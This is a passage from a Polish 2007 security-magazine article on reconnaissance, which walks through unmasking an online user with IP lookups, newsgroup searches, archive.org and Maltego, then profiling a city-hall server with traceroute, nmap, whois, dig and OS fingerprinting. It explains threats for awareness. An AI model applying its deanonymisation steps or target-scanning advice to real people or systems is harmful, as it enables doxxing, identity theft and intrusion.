mym znakomite źródło danych tego 
typu. Fakt, że w ostatnim czasie ze 
względów bezpieczeństwa pojawiły 
się ucięte adresy, np. bez udostęp-
niania zawartości czwartego oktetu, 
ale jest to naprawdę nikłe zabezpie-
czenie.  Po  sprawdzeniu  informacji 
o adresie IP skorzystamy z gotowych
narzędzi  do  geolokacji  i  stwierdzi-
my, czy dane przedstawione na jed-
nej ze stron są zgodne z rezultata-
mi badań:

$ host 83.26.50.XXX
XXX.50.26.83.in-addr.arpa domain 
   name pointer aluXXX.neoplus.
   adsl.tpnet.pl.

Niestety  –  uzyskaliśmy  jedynie  infor-
mację, że użytkownik ten jest abonen-
tem najpopularniejszego ISP w kraju. 

Wyszukiwarka  przedstawiła  na 

jednej ze stron także inny adres IP. 
Warto  sprawdzić  pochodzenie  dru-
giego adresu. Aby było nieco cieka-
wiej,  skorzystamy  ze  strony  ip-ad-
dress.com
,  dzięki  czemu  będziemy 
mieli możliwość sprawdzenia na ma-
pie, skąd prawdopodobnie pochodzi 
badany adres.

Pomijając otoczkę graficzną, za-

równo mapa, jak i schludne podsu-
mowanie  generowane  są  na  pod-
stawie informacji z bazy.

Mając  te  dane  możemy  śmiało 

stwierdzić, że użytkownik pochodzi 
z  rejonu  Łomży  lub  Białegostoku, 
ze szczególnym naciskiem na oko-
lice  Zambrowa.  Możemy  również 
stwierdzić,  że  był  on  abonentem 
usługi SDI, po czym zmienił sposób 
dostępu do sieci na DSL. Od tej po-
ry do wszelkich zapytań dodajemy 
kolejne  parametry  wyszukiwania, 
bardziej precyzując (lub rozszerza-
jąc) kryteria przeszukiwania o w/w 
miejscowości – być może użytkow-
nik ten chociaż raz na forum miasta 
podpisał się imieniem. 

Warto  sprawdzić  także  obec-

ność  naszego  celu  na  grupach 
dyskusyjnych – bardzo często użyt-
kownicy  stosują  sygnatury,  w  któ-
rych  umieszczają  ciekawe  dane. 
W  celu  przeszukania  tych  grup 
oczywiście można skorzystać z kom-
bajnu sieciowego Google lub przej-
rzeć archiwum danej grupy. Można 
zastanawiać  się  na  początku,  któ-
rej  –  ale  odpowiedzi  udzielą  nam 
informacje zdobyte o tym użytkow-
niku  na  wstępie  –  trzeba  szukać
na grupach traktujących o Linuksie 
i – jak widać po ostatnich efektach 
szukania – tych o 

*BSD

.

Jak odkryć tożsamość? 

Krótki zarys metody.

•   wykonujemy  przeszukiwanie  ze  względu  na  informację,  w  której  posiadaniu  już

jesteśmy (nick/email/gg/etc.),

•   odrzucamy strony – śmieci, a następnie analizujemy powiązania informacji z pkt.1 

z innymi danymi,

•   w  przypadku  odkrycia  powiązań  spisujemy  je  i  kontynuujemy  poszukiwania  jak 

powyżej dodając do już posiadanych informacji nowo odkryte powiązania,

•   z nową listą danych powtarzamy całą procedurę – aż do uzyskania poszukiwanych 

informacji lub stwierdzenia, że nie istnieją one w publicznych zasobach Sieci.

Miejsca szczególnie obfite w informacje:

•   blogi,
•   prywatne strony www,
•   portale społecznościowe,
•   fora,
•   grupy dyskusyjne,
•   strony firmowe,
•   strony i portale z ofertami pracy.

Listing 2. 

Finger google

Links a navegar: 12
        /search?q=%40miasto.pl&num=20&hl=es&lr=&ie=UTF-8&as_qdr=all&start=0&

sa=N&filter=0

        "/search?q=%40miasto.pl&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=2

0&sa=N&filter=0"

To search: miasto.pl
sekretarz
sekretariat
...
sekretarz
biurorady
powiat
sekretariat
sekretariat
Accounts found: 7
        sekretarz
        sekretariat
        zcaburmistrza
        burmistrz
        biurorady
        info

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

26

Widzimy  teraz  dokładnie  (Li-

sting 1), że o ile w przypadku stron 
WWW nasz użytkownik był napraw-
dę ostrożny, o tyle całkowicie zrezy-
gnował  z  tego  zachowania  na  gru-
pach dyskusyjnych. Staliśmy się po-
siadaczami imienia i nazwiska oraz 
kilku innych cennych danych. Chciał-
bym zauważyć, iż grupy dyskusyjne 
są  bardzo  dobrym  źródłem  tego
typu  informacji  i  są  często  wyko-
rzystywane  właśnie  do  celów  roz-
poznawczych. Można na nich prócz 
takich informacji jak widoczne wyżej, 
znaleźć m. in. schematy sieci, wykazy 
urządzeń wykorzystanych w sieciach, 
dane administracyjne i konfiguracyjne 
usług  dotyczące  konkretnych  sieci,
a dlaczego? Dlatego, że grupy te, ja-
ko  jeden  z  najstarszych  sposobów 
wymiany danych, komunikacji i wza-
jemnej pomocy, przyciągnęły do sie-
bie liczne grono specjalistów, których 
rady w sytuacjach kryzysowych były
i  są  często  bezcenne.  Niestety,  nie
da  się  udzielić  odpowiedzi  na  żad-
ne pytanie nie znając dokładnie pro-
blemu i ewentualnych jego przyczyn 
– czyli konfiguracji urządzeń i serwe-
rów,  które  będzie  musiał  opisać  np. 
administrator będący w potrzebie.

Po  tej  podróży  dysponujemy  już 

znaczną  ilością  informacji  na  temat 
naszego celu, jednak jest to wciąż za 
mało, aby spełnić moje oczekiwania. 
W tym momencie przystępujemy do 
dalszej analizy i poszukiwań. Zarów-
no  Google,  jak  i  przeszukanie  grup 
dyskusyjnych  dało  nam  w  odpowie-
dzi  na  nasze  zapytania  adres  stro-
ny  WWW  –  s3rger.somename.nu
Tak  jak  poprzednio,  warto  przej-
rzeć  stronę,  której  adresem  podpi-
sywał się nasz użytkownik. Niestety,
witryna w czasie pisania artykułu była
już niedostępna (błąd 404). Prawdo-
podobnie  część  Czytelników  zrezy-
gnowałaby  w  tym  momencie  z  dal-
szych  działań,  my  pomimo  wszyst-
ko  tak  nie  zrobimy  –  cofniemy  się
o kilka dni, a może lat, w czasie sie-
ciowym – http://archive.org jest miej-
scem, gdzie możemy to zrobić. Prze-
chowywane  są  tam  archiwa  stron 
WWW  zgromadzone  w  Internecie,
a  jednocześnie  jest  to  znakomita
alternatywa  dla  archiwum  cache

Google'a.  (Proszę  zauważyć,  iż 
użytkownicy  często  umieszczają  na
stronach  dane,  których  normalnie 
by  nie  umieścili,  jednak  czynią  to
ze  względu  na  chwilową  potrzebę. 
W  takich  sytuacjach  boty  podob-
ne  do  waybackmachine  czy  cache
Google'a stają się prawdziwym prze-
kleństwem.  Nie  wszyscy  wiedzą  że 
niby usunięte dane wciąż mogą znaj-
dować  się  w  Sieci  właśnie  w  takich 
miejscach,  dlatego  warto  pamiętać
o tym narzędziu.

Sprawdzenie występowania strony 

w archiwum zajęło dosłownie kilka se-
kund, a rezultaty osiągnięte dzięki tej 
czynności  są  niezwykle  zachęcające 
–  uzyskaliśmy  potwierdzenie  miejsca 
zamieszkania,  informacje  o  studiach 
i  dane  na  temat  pracy  w  2006  roku. 
Bardzo  często  popełnianym  błędem 
jest pozostawianie na serwerze stron 
wchodzących  kiedyś  w  skład  porta-
lu,  a  aktualnie  niewykorzystywanych 
i  nie  podlinkowanych.  Jest  to  często 
spotykane  zagrożenie,  mogące  skut-
kować ujawnieniem wielu ważnych in-
formacji, łatwo wykrywanych m. in. za 

pomocą  archiwów  takich,  jak  http://
archive.org
.

Będąc  w  posiadaniu  znacznych 

ilości  informacji,  wciąż  nie  prze-
stajemy  szukać.  Wręcz  przeciwnie 
– wytaczamy nieco większe działo, 
które nazywa się Maltego (w trakcie 
pisania  artykułu  producent  zmienił 
nazwę oprogramowania z Evolution
na Maltego ze względu na problemy 
prawne), a zostało stworzone przez 
firmę Paterva. Jest to program, który
przeprowadza  działania  podobne 
technicznie  do  tych,  jakie  mieliśmy 
możliwość zobaczyć we wszystkich
wcześniejszych  przykładach,  a  po-
nadto poszerza pole wyników przez 
analizę większej ilości danych i źró-
deł  oraz  wykonuje  to  automatycz-
nie, bez ingerencji użytkownika. Je-
go  oficjalne  zastosowanie  to  okre-
ślanie  relacji  między  odnośnika-
mi  oraz  związkami  wyrazów  (np. 
nick  i  imię),  występujących  w  sze-
roko  pojętych  zasobach  Interne-
tu.  Wyszukuje  on  zależności  mię-
dzy  ludźmi,  grupami  osób,  siecia-
mi, firmami, stronami WWW, doku-

Rysunek 4. 

Waybackmachine

Listing 3. 

Działanie list-urls

$ ./list-urls.py http://xyzmiasto.pl
index.html            \
Burmistrz.htm       | strony które już nie są wykorzystywane
ZcaBurmistrz.htm | przez nowy system portalowy – na pewno warto sprawdzić
UrzadMiasta.htm /
http://www.umwpxxxxpl/bip/xyzmiasto/index.asp?pid=zamowieniap
http://www.umwpxxxx.pl/bip/xyzmiasto/index.asp?pid=inne
http://www.travelpolska.pl
http://www.nadbugiem.com.pl
http://www.podlaskieit.pl/pl/prot.htm
http://longger.info/sms/tv.php

background image

Poznaj swój komputer – oczami intruza

hakin9 Nr 12/2007

www.hakin9.org

27

mentami  i  plikami  oraz  elementami 
strukturalnymi sieci Internet (np. na-
zwy  DNS,  adresy  IP  itp.).  Program 
wyświetla  je  w  postaci  drzewa  za-
leżności,  zawierającego  wszystkie 
połączenia  (również  te  niewidocz-
ne  często  z  poziomu  przeglądar-
ki  np.  ze  względu  na  zastosowa-
nie takiego samego koloru czcionki 
i  tła)  między  tymi  elementami.  Czy 
jednak  działanie  i  samo  narzędzie 
jest naprawdę tak dobre, jak mogło-
by  wydawać  się  po  opisie?  Czasa-
mi  podejrzewam,  że  nawet  lepsze 
–  jest  to  idealne  oprogramowanie 
do przeprowadzania tego typu ana-
liz i nie tylko. Dla potwierdzenia mo-
ich  słów  zachęcam  do  zapoznania 
się z w/w oprogramowaniem (http://
www.paterva.com/web/Maltego
),
a  także  do  obejrzenia  wyników  na 
Rysunku  5.  (ustawiony  limit  20  re-
lacji)  –  gdzie  na  czerwono  podkre-
ślone  są  miejsca  przechowywania 
wrażliwych informacji.

Chciałbym  teraz,  już  bez  orga-

nizowania danych w sposób tabela-
ryczny,  przedstawić  wyniki  działań. 
Poprzez  przeszukiwanie  ogólnodo-
stępnych zasobów określiliśmy imię, 
nazwisko, adres zamieszkania, 3 ad-
resy  e-mail,  numer  GG,  JID,  numer 
telefonu komórkowego. Po wsparciu 
oprogramowaniem  Maltego  do  listy 
dołączyły  takie  informacje,  jak  fakt 
przebywania  poza  granicami  kra-
ju, numer telefonu za granicą, dane 
personalne  rodziców  i  dziadków(!) 
oraz numer PESEL.

Kończąc  tą  część,  przedstawię 

jeszcze  –  jako  ciekawostkę  –  jedną 
stronę  Biuletynu  Informacji  Publicz-
nej pewnego urzędu – Rysunek 6.

Dysponując opisanym zestawem 

informacji  oraz  danymi  z  Tabeli  do-
tyczącymi  pierwszego  użytkownika, 
chciałbym przejść do analizy zagro-
żeń, ale najpierw zwrócę uwagę na 
dwie rzeczy.

Po  pierwsze  prostota  zdoby-

cia  naprawdę  istotnych  danych  jest 
przerażająca – opisane działania nie 
wymagają  od  nikogo  specjalistycz-
nej  wiedzy,  a  jedynie  chęci  i  deter-
minacji. Po drugie ilość danych idzie
w parze z czasem i łatwością poszu-

kiwań. Co z tego wynika? Rośnie ob-
szar potencjalnego użycia zdobytych 
informacji,  a  zatem  i  zestaw  możli-
wych ataków. Patrząc realnie na ak-
tualny  stan  rzeczy,  działania  osoby 
wykonującej – nazwijmy to – test, są 
ograniczone jedynie jej wyobraźnią. 
Wszystko  to  ma  znaczenie  jedynie 
teoretyczne,  jeśli  dotyczy  audytora, 
natomiast gdy wykonującym te dzia-
łania  jest  osoba,  której  celem  jest 
wyrządzenie szkód, sprawa się kom-
plikuje.  Mając  do  dyspozycji  takie
dane  jak  te  zdobyte  wcześniej,  na-
pastnik może z dużą skutecznością 
przeprowadzać  ataki  wykorzystują-
ce  inżynierię  społeczną  –  najwięk-
sze  zagrożenie  bezpieczeństwa,
a  jest  to  tylko  jeden  z  przykładów. 
Kolejną  możliwością  jest  całkowita 
kradzież  tożsamości  –  zauważmy, 
że w przypadku drugiej osoby jedy-
nie  brak  numeru  dowodu  osobiste-
go  utrudnia  nam  założenie  interne-
towego konta bankowego – a to już 
nie  jest  tak  duży  problem.  Wystar-
czy  znaleźć  więcej  informacji  o  da-
nej osobie i się jej po prostu zapytać.
Z  ukradzionej  tożsamości  agresor 
może także korzystać w trakcie po-
dróży  po  Internecie.  Może  on  wy-
korzystać  takiego  użytkownika  jako
kozła  ofiarnego  w  innych  swoich 
działaniach  lub  w  celu  odwrócenia 
uwagi – umiejętnie operując danymi,

Rysunek 5. 

Działanie Maltego

Listing 4. 

Dane prezentowane przez whois

domain: xyzmiasto.pl 
registrant's handle: dmra00XXXXXXXX 

(

CORPORATE

)

 

nservers: ns1.xxnat.pl.[193.239.44.XX]
                 ns2.xxnat.pl.[83.18.80.XX] 
last modified: 2006.11.02 
option: the domain name has 

not

 option 

REGISTRANT:
company: URZĄD MIEJSKI W XYZMIASTO 
street: FABRYCZNA 37 
city: XYZMIASTO
location: PL 
handle: dmra00XXXXXXXX 
phone: +48.XXZZZYYXX 
last modified: 005.08.19 
REGISTRAR: Rejestrator 
ul. K. 37 
85-079 Bydgoszcz 
Polska/Poland 
+48.525XXXXXX
www.rejestratorwwww.pl/info 
Whois database last updated:
2007.09.15 

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

28

które  posiada.  Z  wielką  łatwością 
napastnik może się podszywać pod 
wybraną osobę np. w celu zdobycia 
potrzebnych  danych  z  atakowanej 
firmy  itd.  Konkretnych  przykładów 
inżynierii  społecznej  przedstawiać 
tutaj  nie  będę  gdyż  jest  to  bardzo 
długi  i  ciekawy  temat,  a  jako  uzu-
pełnienie  polecam  publikacje  inter-
netowe, jak i książkowe.

Zdobyte  informacje  mogą  słu-

żyć  również  do  przeprowadzania 
kradzieży  –  nie  tylko  informatycz-
nych, ale także tych zwykłych, zna-
nych z świata realnego. Dysponując 
tak znaczną ilością informacji, stwo-
rzenie  wielu  rodzajów  dokumentów
to kwestia minut, a pobranie kredytu 
od zaraz także nie stanowi problemu 
ze względu na warunki i procedury.

Jak  już  wcześniej  napisałem

–  a  Czytelnik  mógł  osobiście  te-
go  doświadczyć  –  zdobycie  danych
w taki sposób jest naprawdę trywialne.
Samo  powstanie  programu  Maltego 
jest  oznaką  zainteresowania  szer-
szej  społeczności  internetowej  w/w 
zagadnieniami. Sam, przeprowadza-
jąc analizy, skusiłem się na stworze-
nie drobnego programu automatyzu-
jącego  wyszukiwanie  danych  i  nie
wierzę,  że  ktoś  inny  nie  zrobił  tego
samego,  być  może  już  w  innych
celach.  Program  ten  stworzyłem
jedynie na potrzeby testu, bez więk-
szego wkładu i zaangażowania, ale 
był w stanie zwrócić dane zgodne z 
rzeczywistymi  w  1389  przypadkach 
na  2000  (co  stwierdziłem  na  dro-
dze  późniejszej,  ręcznej  analizy).
Wyszukiwał on jedynie dane perso-
nalne: imię, nazwisko, adres e-mai
i był w stanie przy rekurencyjnej ana-
lizie stron (do 7 od korzenia) znaleźć 
numery GG, JID i adres zamieszka-
nia, wyodrębniając te dane na pod-
stawie  pewnych  cech  charaktery-
stycznych  (numer  GG  –  ciąg  cyfr, 
dla uproszczenia od 6 do 10 znaków, 
e-mail – ciąg znaków alfanumerycz-
nych zawierający @; poprzednia re-
guła wraz z listą serwerów Jabbera
wyodrębniała  źle  sklasyfikowane 
JID jako adresy  z listy e-mail itd.). 
Jak  więc  widać,  był  on  naprawdę 
ograniczony – jednak podejrzewam, 
że  przy  odpowiedniej  determinacji

z  łatwością  można  byłoby  go  roz-
budować  o  inne  funkcje.  Jako  ta-
ki  mógłby  być  on  wykorzystany  do 
tworzenia  baz  danych  dla  automa-
tów  spamujących,  lub  sam  zostać 
poszerzony  o  taką  usługę.  Oprócz 
tego mógłby służyć do generowania
takich baz danych, które z przyjem-
nością ktoś mógłby kupić – a o na-
bywców nietrudno. Wiele firm zajmu-
je  się  między  innymi  profilowaniem 
–  zbieraniem  danych  o  zwyczajach 
i zachowaniach użytkowników, cho-
ciażby  dla  celów  marketingowych, 
a im bardziej szczegółowe informa-
cje (od danych personalnych po przy-
zwyczajenia i zainteresowania), tym 
więcej baza jest warta na sieciowym 
czarnym rynku. Łatwo więc zauwa-
żyć, że zagrożenia istnieją i są rze-
czywiście poważne.

Część III

W  tej  części  artykułu  postaram 
się  zaprezentować  niektóre  meto-
dy  związane  z  identyfikacją  syste-
mu zdalnego. Na początek obierze-
my  cel,  a  następnie  sukcesywnie 
będziemy  poszerzali  nasz  zasób
wiedzy  o  danej  maszynie  i  sieci, 
stosując metody od najmniej inwa-
zyjnych, po takie, których używania 
teoretycznie nie sposób przeoczyć 
podczas analizy logów (aczkolwiek 
praktyka  widziała  różne  rzeczy),
a  pomimo  to  bardzo  przydatne
i często wykorzystywane.

Za  cel  pozwoliłem  sobie  wy-

brać  stronę  urzędu  miasta,  które 
dla  potrzeb  artykułu  zostało  prze-

mianowane  na  Xyzmiasto.  Całość 
swoich  działań  oprzemy  o  pewien 
schemat, mianowicie prześledzimy
trasę  pakietów  od  naszego  kom-
putera  do  komputera  testowane-
go,  następnie  dokładnie  zapozna-
my  się  ze  stroną  WWW  i  podsta-
wowymi  usługami  internetowymi
(o  ile  są  świadczone).  Kolejnym 
krokiem będzie dokładniejsze i bar-
dziej  zaawansowane  przeszukanie 
zasobów  sieciowych  przy  użyciu
Google  oraz  wykrycie  użytkowni-
ków  związanych  z  danym  kompu-
terem. Podążając ścieżką wytyczo-
ną w części drugiej – dowiemy się, 
co ciekawego ma nam do przekaza-
nia program Maltego. Mając pewien
zasób  informacji,  przejdziemy  do 
analizy  na  nieco  niższym  poziomie 
–  zajmiemy  się  pakietami  produko-
wanymi i odbieranymi przez serwer. 
Kolejnym  naszym  działaniem  bę-
dzie  podwyższenie  poziomu  ano-
nimowości  własnej  stacji  i  dalsza 
analiza,  tym  razem  jednak  z  wy-
korzystaniem metod bardziej inwa-
zyjnych. Nie mówiąc już nic więcej, 
przystępujemy do działania.

Po  pierwsze  sprawdzimy,  jak 

wygląda droga pakietów od nasze-
go  komputera  do  serwera  doce-
lowego.  Da  nam  to  wyobrażenie
o  odległości  internetowej  i  pozwo-
li  określić,  czy  będziemy  w  stanie 
poddać  dany  serwer  całkowitemu 
podsłuchowi.  Działanie  to  można 
wykonać  na  przykład  wtedy,  gdy 
serwer-cel  znajduje  się  za  serwe-
rem stanowiącym bramkę dla niego

Rysunek 6. 

Czy trzeba było to umieszczać w takiej postaci?

background image

Poznaj swój komputer – oczami intruza

hakin9 Nr 12/2007

www.hakin9.org

29

i  będącym  jednocześnie  słabiej
zabezpieczonym – a z doświadcze-
nia wiem, że czasem łatwiej spene-
trować  serwer  pośredniczący,  niż 
ten właściwy. Samo badanie ścież-
ki możemy wykonać na 3 sposoby: 
pierwszy, całkowicie manualny, po-
lega na wysyłaniu do naszego ce-
lu  pakietów  z  ustawionym  czasem
życia  pakietu  (TTL)  na  wartość  
i  nasłuchiwaniu  odpowiedzi  ICMP 
serwera, przez który pakiet taki nie 
przeszedł  ze  względu  na  przekro-
czenie w/w czasu. Spisując po ko-
lei każdy adres serwera, od którego
pochodzi  odpowiedź,  a  następnie 
zwiększając  wartość  TTL  i  powta-
rzając  tę  czynność  do  czasu,  gdy 
serwerem  odpowiadającym  będzie 
docelowy,  określamy  drogę,  jaką 
muszą pokonać pakiety. Sposobem 
automatyzującym  całą  procedurę 
jest  wykorzystanie  programu  kon-
solowego – traceroute, a sposobem 
numer trzy – skorzystanie z rozsze-
rzonej i okienkowej wersji tracerout'a 
–  mtr.  Oprócz  tego,  co  napisałem 
wcześniej  –  możliwości  przepro-
wadzenia  podsłuchu  całego  ruchu
przychodzącego  i  wychodzącego
z  naszego  celu  –  badanie  to  da 
nam możliwość określenia kompu-
tera,  który  mógłby  stać  się  celem 
pośrednim.  Atakując  komputer  lub 
router znajdujący się bezpośrednio 
na drodze do naszego celu i jedno-
cześnie przed nim, jesteśmy w sta-
nie  przechwycić  i  fałszować  cały 
ruch  –  np.  w  celu  przeprowadze-
nia  ataku  typu  phishing,  DoS  lub 
innego,  którego  rezultatem  stało-

by się faktyczne odcięcie naszego
celu  od  sieci  lub  sfałszowana  ko-
munikacja z klientami. Wykrywanie 
dróg pakietów ma również bardziej 
przyziemne zastosowanie – może-
my sprawdzić, jak wiele krajów od-
wiedzają  bity  generowane  przez 
nasz komputer, zanim dotrą do ce-
lu.  Wyniki  uruchomienia  polecenia
traceroute przedstawia Rysunek 7.

Widzimy  więc,  że  analizowany 

przez nas serwer znajduje się w odle-
głości 15 urządzeń sieciowych, przez 
które  muszą  przejść  pakiety.  Aby 
określić  występowanie  możliwości, 
o których pisałem wcześniej, należa-
łoby  sprawdzić  dokładniej,  co  znaj-
duje się na ostatniej przedstawionej 
na Rysunku pozycji – my jednak tego
teraz robić nie będziemy, a ewentual-
ne próby na urządzeniach testowych 

zostawiam jako pracę domową. Wie-
my  już  na  pewno  (poprzez  analizę 
trasy), że komputer obsługujący stro-
nę  urzędu  miasta  nie  znajduje  się 
bezpośrednio za komputerem, który 
mógłby  służyć  jako  dodatkowy  sys-
tem logowania – możemy więc czuć 
się  pewniej  w  działaniach  wywia-
dowczych
.  Proponuję,  aby  samemu 
sprawdzić  trasy  do  kilku  serwerów 
lub portali – czasami daje to bardzo 
ciekawe  informacje,  ale  to  proszę
potraktować jako ciekawostkę.

Jak  widać  na  Rysunku  7.  od 

pewnego  momentu  zaczynają  po-
jawiać  jednostki  z  nazwami  DNS
o  końcówkach  z  pochodzenia  za-
granicznych.  Może  mieć  to  dwa, 
a  w  niektórych  przypadkach  trzy 
powody,  bardzo  do  siebie  zbliżo-
ne  –  po  pierwsze,  ISP  świadczy 
usługi wykorzystując jako jednostki 
nadrzędne dostawców z zagranicy, 
ale pomimo to serwer znajduje się
w budynku urzędu. Po drugie, stro-
na  korzysta  z  hostingu,  który  wy-
korzystuje  łącza  zagraniczne  i  po 
trzecie – są to zwykłe trasy pakie-
tów jednego z największych dostaw-
ców w Polsce i to jest ta ciekawost-
ka, o której pisałem wcześniej.

Bardziej  zaawansowaną  meto-

dą  detekcji  i  analizy  serwera  jest 
pasywny przegląd cech charaktery-
stycznych  pakietów  generowanych 
przez  komputer  poddawany  bada-
niu. Przede wszystkim musimy być 

Listing 5. 

Co zwrócił nam nmap?

Starting Nmap 4.20 

(

 http://insecure.org 

)

 at 2007-08-12 12:46 CEST

Interesting ports 

on

 xyzmiaso.pl

(

-

)

:

PORT     STATE  SERVICE  VERSION
21/tcp   

open

   ftp      ProFTPD 1.3.0a

22/tcp   

open

   ssh      OpenSSH 4.6 

(

protocol 1.99

)

23/tcp   closed telnet
25/tcp   closed smtp
53/tcp   closed domain
80/tcp   

open

   http     Apache httpd 2.2.4 

((

Unix

)

 DAV/2 PHP/5.2.3

)

1433/tcp closed ms-sql-s
3306/tcp closed mysql
5432/tcp closed postgres
No exact OS matches 

for

 host 

(

If

 you know what OS 

is

 running 

on

 it, see http:

//insecure.org/nmap/submit/ 

)

.

TCP/IP fingerprint:
OS:SCAN

(

V=4.20%D=9/13%OT=22%CT=1%CU=42304%PV=N%DS=0%G=Y%TM=46E977EB%P=i486-

OS:slackware-linux-gnu

)

SEQ

<CUT>

Wielkość śladów

Bez precyzowania kryteriów:

-rw-r--r--  1 root root 1280427 2007-08-12 11:57 access_log
-rw-r--r--  1 root root 1312252 2007-08-12 11:57 error_log
-rw-r-----  1 root root 9957 2007-08-12 11:55 messages
-rw-r-----  1 root root 1684 2007-08-12 11:53 syslog

Po sprecyzowaniu kryteriów:

-rw-r--r--  1 root root 8230 2007-08-12 12:01 access_log
-rw-r--r--  1 root root 9956 2007-08-12 12:01 error_log
-rw-r-----  1 root root 3257 2007-08-12 11:55 messages
-rw-r-----  1 root root 174 2007-08-12 11:53 syslog

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

30

świadomi, że każda implementacja 
obsługi protokołów sieciowych jest 
inna – pozwala nam to na detekcję 
m. in. rodzaju systemu pracującego 
na danej maszynie. Celowe wymu-
szanie  obciążenia  komputera  lub 
zmuszanie  go  dowolnymi  metoda-
mi  do  pracy  w  sposób  odbiegają-
cy  od  założeń  może  spowodować 
np.  wycieki  pamięci  z  komputera 
odpowiadającego na sztuczny ruch
–  a  wszystko  przez  błędy  imple-
mentacji.Oprócz tego, dzięki anali-
zie pakietów pochodzących z danej 
maszyny możemy określić fakt ist-
nienia oraz budowę sieci za danym 
serwerem. Ale po kolei.

W identyfikacji pasywnej opartej 

na  analizie  cech  charakterystycz-
nych  głównym  i  najważniejszym 
źródłem, a jednocześnie gwarantem
sukcesu,  jest  odpowiednio  duża
i  bogata  baza  danych  zawierająca 
ów  zbiór  sygnatur.  Pierwszą  moż-
liwością jest wykrycie łącza – mo-
żemy spróbować analizy adresu IP 
i  zadania  pytania  dla  baz  danych 
whois,  a  następnie  wydedukować 
typ  możliwego  łącza,  ale  również 
możemy  poszerzyć  swoją  wiedzę 
sprawdzając łączną długość pakie-
tu  IP  (16-bitowe  pole  w  nagłówku
datagramu IP). Długość ta, pomimo 
że  z  góry  ograniczona  jest  warto-
ścią 65535, w praktyce bywa różna 
–  w  zależności  od  ograniczeń  na-
rzuconych  przez  protokoły  niższej 
warstwy. Podążając tą drogą i zna-
jąc ograniczenia np. MTU, możemy 
określić  że  np.  typowe  ustawienie 
parametru MTU dla łącza DSL wy-
nosi  1492.  Odrzucając  możliwość 

wystąpienia  łącza  DSL  na  serwe-
rach  pośrednich  (sprawdzonych 
traceroute'm),  możemy  stwierdzić, 
że takie łącze jest wykorzystywane 
przez  serwer.  Następnie  wkracza-
my na nieco głębsze wody – proto-
kół TCP. Na podstawie jego charak-
terystycznych  ustawień  możemy
określić system pracujący na danym
komputerze.  Mając  przed  oczami
budowę  pakietu  TCP  (Rysunek  8), 
chciałbym przedstawić kilka faktów:

•   ustawiony  znacznik  DF  w  pakie-

tach  pochodzących  od  serwe-

ra  może  wskazywać,  że  zostały 
one wygenerowane w systemach:
Windows, Linux, *BSD, Solaris,

•   rozmiar  okna  w  zależności  od

swojej  wartości  może  nasuwać 
następujące wnioski:
•   dwu- lub czterokrotność mak-

symalnego rozmiaru segmen-
tu – praca Linuksa,

•   wartość  64512  –  na  system

z rodziny Windows.

•   wartość pola TTL:

•   zbliżona  do  wartości  64 

– wskazuje na system Linux, 
HP/UX, IRIX, AIX,

Rysunek 7. 

Wyniki działania programu traceroute

Listing 6. 

Wynik działania dig dla wp.pl

$ dig wp.pl

; <<>> DiG 9.4.1 <<>> wp.pl
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60633
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3

;; QUESTION SECTION:
;wp.pl.                         

IN

      A

;; ANSWER SECTION:
wp.pl.                  1832    

IN

      A       212.77.100.101

;; AUTHORITY SECTION:
wp.pl.                  1857    

IN

      NS      dns.task.gda.pl.

wp.pl.                  1857    

IN

      NS      ns2.wp.pl.

wp.pl.                  1857    

IN

      NS      ns1.wp.pl.

;; ADDITIONAL SECTION:
dns.task.gda.pl.        205394  

IN

      A       153.19.250.100

ns1.wp.pl.              1948    

IN

      A       212.77.102.200

ns2.wp.pl.              2551    

IN

      A       153.19.102.182

;; Query time: 43 msec
;; SERVER: 194.204.152.34#53

(

194.204.152.34

)

;; 

WHEN

: Sat Sep 15 17:57:07 2007

;; MSG SIZE  rcvd: 150

background image

Poznaj swój komputer – oczami intruza

hakin9 Nr 12/2007

www.hakin9.org

31

•   zbliżona do wartości 128 lub 

32 – systemy z rodziny Win-
dows,

•   255  –  może  wskazywać  na 

Solarisa,

•   zbliżona  do  wartości  60 

– MacOS.

•   zerowy identyfikator pakietu mo-

że wskazywać na Linuksa w wer-
sji 2.4.,

•   ustawienie datownika określa czas 

aktywnej pracy systemu.

Jest  to  tylko  niewielka  część  da-
nych,  które  można  wydobyć  anali-
zując  pakiety  dochodzące  do  nas 
np. podczas przeglądania strony in-
ternetowej – a widać jasno, że przy 
takiej  identyfikacji  przede  wszyst-
kim bierzemy pod uwagę następu-
jące pola:

•   dla  protokołu  IP:  TTL,  ID,  TOS, 

bit DF, 

•   dla  protokołu  TCP:  kombinację 

ustawień  i  opcji  Window  Size, 
MSS, NOP, SA, Datownik

Łatwo też dostrzec, że wszelkie da-
ne ustalane są na podstawie zgro-
madzonych  lub  zaobserwowanych 
cech charakterystycznych. Dlatego 
też  wykorzystanie  analizy  pasyw-
nej  wiąże  się  z  koniecznością  po-
siadania bogatej bazy tych informa-
cji. Jak widać, jest to temat rzeka. 

Następnym  elementem  naszej 

analizy  będzie  dokładne  zapozna-
nie  się  ze  stroną  WWW.  W  jaki 
sposób,  nie  będę  opisywać  –  jest 
to  intuicyjne.  Ciekawszym  wyko-
rzystaniem  serwera  HTTP  w  tym 
przypadku  jest  sprawdzenie  wer-
sji  samego  serwera  i  być  może 

systemu  operacyjnego.  Wystarczy 
wejść na stronę, która nie istnieje, 
a  w  wielu  przypadkach  pojawi  się 
(czy to dla serwera Apache czy dla 
tego  produkcji  Microsoftu)  strona
z błędem 404 i poszukiwanymi da-
nymi (w tym przypadku dla Apache): 
Not FoundThe requested URL /url 
was  not  found  on  server.  Apache/
1.3.29  Server  at  miasto.pl  Port  80

Jest  to  naprawdę  często  spotyka-
ne, a na tej podstawie bardzo łatwo
wyznaczyć  cel  ataku  –  jeżeli  wie-
my  że  Apache  w  wersji  1.3.29  jest
podatny na jakiś błąd, przy czym nie 
zależy  nam  na  konkretnej  maszy-
nie, a jedynie na samym fakcie wła-
mania,  wystarczy  poprosić  Google,
żeby  wyświetliło  nam  kilka  stron
z adresami, gdzie takie serwery się 
znajdują. 

Kolejnym  krokiem  będzie  anali-

za przeprowadzana właśnie za po-
mocą Google'a. Po pierwsze należy 
ustalić, co chcielibyśmy znaleźć:

•   hasła,
•   loginy,
•   prywatne dane,
•   dane konfiguracyjne,
•   wrażliwe informacje.

